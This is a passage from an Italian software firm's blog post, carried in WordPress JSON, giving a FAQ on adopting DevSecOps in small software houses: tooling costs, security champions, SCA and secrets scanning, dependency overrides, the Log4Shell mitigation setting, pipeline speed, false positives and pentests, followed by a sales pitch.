disclosure critica (template Log4Shell-ready). Retrospettiva di 90 giorni: cosa ha funzionato, cosa no, roadmap successiva (IAST, runtime security con Falco, ASOC).<\/p>\n<\/div>\n<\/div>\n<h2>FAQ \u2013 DevSecOps per PMI software house<\/h2>\n<div itemscope itemtype=\"https:\/\/schema.org\/FAQPage\">\n<div itemprop=\"mainEntity\" itemscope itemtype=\"https:\/\/schema.org\/Question\">\n<h3 itemprop=\"name\">Quanto costa avviare un programma DevSecOps in una PMI sotto i 50 sviluppatori?<\/h3>\n<div itemprop=\"acceptedAnswer\" itemscope itemtype=\"https:\/\/schema.org\/Answer\">\n<div itemprop=\"text\">\n<p>Lo stack minimo \u00e8 praticamente gratuito: Dependabot, Semgrep CE, Trivy, OWASP ZAP, Checkov, gitleaks sono tutti OSS. GitGuardian ha tier gratuito fino a 25 utenti. Il costo reale \u00e8 il tempo: stimate <strong>0.5 FTE per 3-4 mesi<\/strong> per il setup iniziale e poi 4-6 ore\/settimana di security champion a regime. Se aggiungete tier paid (Snyk Team, SonarQube Developer) la spesa licenze tipica per una PMI \u00e8 <strong>\u20ac200-500\/mese<\/strong>.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div itemprop=\"mainEntity\" itemscope itemtype=\"https:\/\/schema.org\/Question\">\n<h3 itemprop=\"name\">Possiamo adottare DevSecOps senza un team di security dedicato?<\/h3>\n<div itemprop=\"acceptedAnswer\" itemscope itemtype=\"https:\/\/schema.org\/Answer\">\n<div itemprop=\"text\">\n<p>S\u00ec, ed \u00e8 il caso del 90% delle PMI software italiane. Il modello operativo \u00e8 il <strong>security champion<\/strong>: uno sviluppatore senior per team con formazione mirata (40 ore iniziali), responsabile del processo. Per situazioni complesse (incident response, audit) si fa ricorso a consulenti esterni a chiamata. La gestione quotidiana resta interna.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div itemprop=\"mainEntity\" itemscope itemtype=\"https:\/\/schema.org\/Question\">\n<h3 itemprop=\"name\">SAST o DAST: da quale partire se le risorse sono limitate?<\/h3>\n<div itemprop=\"acceptedAnswer\" itemscope itemtype=\"https:\/\/schema.org\/Answer\">\n<div itemprop=\"text\">\n<p>N\u00e9 l&#8217;uno n\u00e9 l&#8217;altro: partite da <strong>SCA + secrets scanning<\/strong>. Sono i due controlli con il rapporto valore\/sforzo pi\u00f9 alto. Una settimana di setup, copertura immediata di una superficie d&#8217;attacco enorme (Log4Shell-style), zero falsi positivi pratici sui critici. SAST viene per secondo, DAST per terzo.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div itemprop=\"mainEntity\" itemscope itemtype=\"https:\/\/schema.org\/Question\">\n<h3 itemprop=\"name\">Come gestiamo le vulnerabilit\u00e0 in dipendenze transitive che non possiamo aggiornare direttamente?<\/h3>\n<div itemprop=\"acceptedAnswer\" itemscope itemtype=\"https:\/\/schema.org\/Answer\">\n<div itemprop=\"text\">\n<p>Sono il caso pi\u00f9 frequente. Strategie possibili: <strong>override della versione<\/strong> (Maven <code>&lt;dependencyManagement&gt;<\/code>, npm <code>overrides<\/code>, Gradle <code>resolutionStrategy<\/code>); <strong>mitigazione runtime<\/strong> (WAF rule, configurazione che disabilita la feature vulnerabile, ad esempio <code>log4j2.formatMsgNoLookups=true<\/code> per Log4Shell); <strong>switch a fork patchato<\/strong> in emergenza; <strong>documentazione del rischio residuo<\/strong> + accettazione formale se nessuna delle precedenti \u00e8 praticabile.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div itemprop=\"mainEntity\" itemscope itemtype=\"https:\/\/schema.org\/Question\">\n<h3 itemprop=\"name\">Quanto rallenta DevSecOps la pipeline CI\/CD?<\/h3>\n<div itemprop=\"acceptedAnswer\" itemscope itemtype=\"https:\/\/schema.org\/Answer\">\n<div itemprop=\"text\">\n<p>Configurato correttamente, <strong>1-3 minuti aggiuntivi per pipeline<\/strong>. SAST differenziale su file modificati: 30-60s. SCA cache-friendly: 20-40s. Trivy con DB pre-pulled: 30s. DAST baseline scan \u00e8 asincrono. Se la vostra pipeline aggiunge 15 minuti dopo l&#8217;integrazione, qualcosa \u00e8 configurato male: probabilmente full scan ad ogni PR invece di differential.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div itemprop=\"mainEntity\" itemscope itemtype=\"https:\/\/schema.org\/Question\">\n<h3 itemprop=\"name\">Come gestiamo i falsi positivi senza disabilitare i controlli?<\/h3>\n<div itemprop=\"acceptedAnswer\" itemscope itemtype=\"https:\/\/schema.org\/Answer\">\n<div itemprop=\"text\">\n<p>Tre meccanismi combinati: <strong>ignore file versionato<\/strong> (es. <code>.snyk<\/code>, <code>.semgrepignore<\/code>) con motivazione + scadenza obbligatoria; <strong>severity gating<\/strong> (failure solo su CRITICAL+HIGH); <strong>differential scan<\/strong> sui PR (i PR rumorosi si distinguono dai PR genuinamente problematici). Il triage settimanale di 30 minuti \u00e8 il momento in cui si chiudono i falsi positivi consolidati.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div itemprop=\"mainEntity\" itemscope itemtype=\"https:\/\/schema.org\/Question\">\n<h3 itemprop=\"name\">Cosa cambia con DevSecOps rispetto a un pentest annuale?<\/h3>\n<div itemprop=\"acceptedAnswer\" itemscope itemtype=\"https:\/\/schema.org\/Answer\">\n<div itemprop=\"text\">\n<p>Il pentest resta utile come <strong>controllo terza parte<\/strong> e per vulnerabilit\u00e0 che richiedono creativit\u00e0 umana. Ma da solo \u00e8 insufficiente: trova problemi <em>dopo<\/em> che sono in produzione, con costo di fix molto alto, e fotografa un solo istante. DevSecOps fornisce <strong>copertura continua<\/strong> \u2013 ogni commit \u00e8 verificato. Modello consigliato: DevSecOps continuo + pentest annuale focalizzato su business logic e architecture (dove i tool falliscono).<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<div style=\"background:linear-gradient(135deg,#003d7a 0%,#0066cc 100%);color:#fff;padding:28px 32px;border-radius:8px;margin:32px 0;\">\n<h3 style=\"color:#fff;margin-top:0;\">Hai una software house e vuoi mettere in pratica DevSecOps senza errori da principiante?<\/h3>\n<p style=\"margin:12px 0;\">In <strong>Brentasoft<\/strong> costruiamo gestionali e piattaforme SaaS B2B applicando DevSecOps fin dal primo sprint: pipeline GitLab\/GitHub con SAST + SCA + container scanning, threat modeling su ogni nuova feature, secure SDLC documentato per audit ISO 27001. Lavoriamo a fianco del vostro team per impostare il processo, scegliere i tool giusti per il vostro stack, formare i security champion.<\/p>\n<p style=\"margin:16px 0 0 0;\"><a href=\"https:\/\/www.brentasoft.com\/soluzioni\/gestionali-personalizzati.php\" style=\"background:#fff;color:#003d7a;padding:12px 22px;border-radius:4px;text-decoration:none;font-weight:600;display:inline-block;margin-right:10px;\">Scopri i nostri gestionali sicuri<\/a> <a href=\"https:\/\/www.brentasoft.com\/preventivatore.php\" style=\"background:transparent;color:#fff;border:2px solid #fff;padding:10px 20px;border-radius:4px;text-decoration:none;font-weight:600;display:inline-block;\">Richiedi un preventivo<\/a><\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Log4Shell ha reso obbligatorio DevSecOps anche per PMI: guida completa a SAST, DAST, SCA, container e IaC security, con roadmap 90 giorni.<\/p>\n","protected":false},"author":2,"featured_media":1637,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_seopress_titles_title":"DevSecOps 2021: shift left security PMI | Brentasoft","_seopress_titles_desc":"Log4Shell ha imposto DevSecOps anche alle PMI software. Guida pratica a SAST, DAST, SCA, container, IaC, secrets e roadmap di adozione in 90 giorni.","_seopress_robots_index":"","_seopress_robots_follow":"","_seopress_robots_imageindex":"","_seopress_robots_snippet":"","_seopress_robots_primary_cat":"","_seopress_robots_breadcrumbs":"","_seopress_robots_freeze_modified_date":"","_seopress_robots_custom_modified_date":"","_seopress_robots_canonical":"","_seopress_social_fb_title":"DevSecOps 2021: shift left security per PMI software","_seopress_social_fb_desc":"Guida operativa al DevSecOps dopo Log4Shell: tool, processi e roadmap 90 giorni per PMI software house.","_seopress_social_fb_img":"","_seopress_social_fb_img_attachment_id":0,"_seopress_social_fb_img_width":0,"_seopress_social_fb_img_height":0,"_seopress_social_twitter_title":"","_seopress_social_twitter_desc":"","_seopress_social_twitter_img":"","_seopress_social_twitter_img_attachment_id":0,"_seopress_social_twitter_img_width":0,"_seopress_social_twitter_img_height":0,"_seopress_redirections_value":"","_seopress_redirections_enabled":"","_seopress_redirections_enabled_regex":"","_seopress_redirections_logged_status":"","_seopress_redirections_param":"","_seopress_redirections_type":0,"_seopress_analysis_target_kw":"","footnotes":""},"categories":[25],"tags":[],"class_list":["post-1645","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-compliance-normative"],"_links":{"self":[{"href":"https:\/\/brentasoft.com\/blog\/wp-json\/wp\/v2\/posts\/1645","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/brentasoft.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/brentasoft.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/brentasoft.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/brentasoft.com\/blog\/wp-json\/wp\/v2\/comments?post=1645"}],"version-history":[{"count":0,"href":"https:\/\/brentasoft.com\/blog\/wp-json\/wp\/v2\/posts\/1645\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/brentasoft.com\/blog\/wp-json\/wp\/v2\/media\/1637"}],"wp:attachment":[{"href":"https:\/\/brentasoft.com\/blog\/wp-json\/wp\/v2\/media?parent=1645"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/brentasoft.com\/blog\/wp-json\/wp\/v2\/categories?post=1645"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/brentasoft.com\/blog\/wp-json\/wp\/v2\/tags?post=1645"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}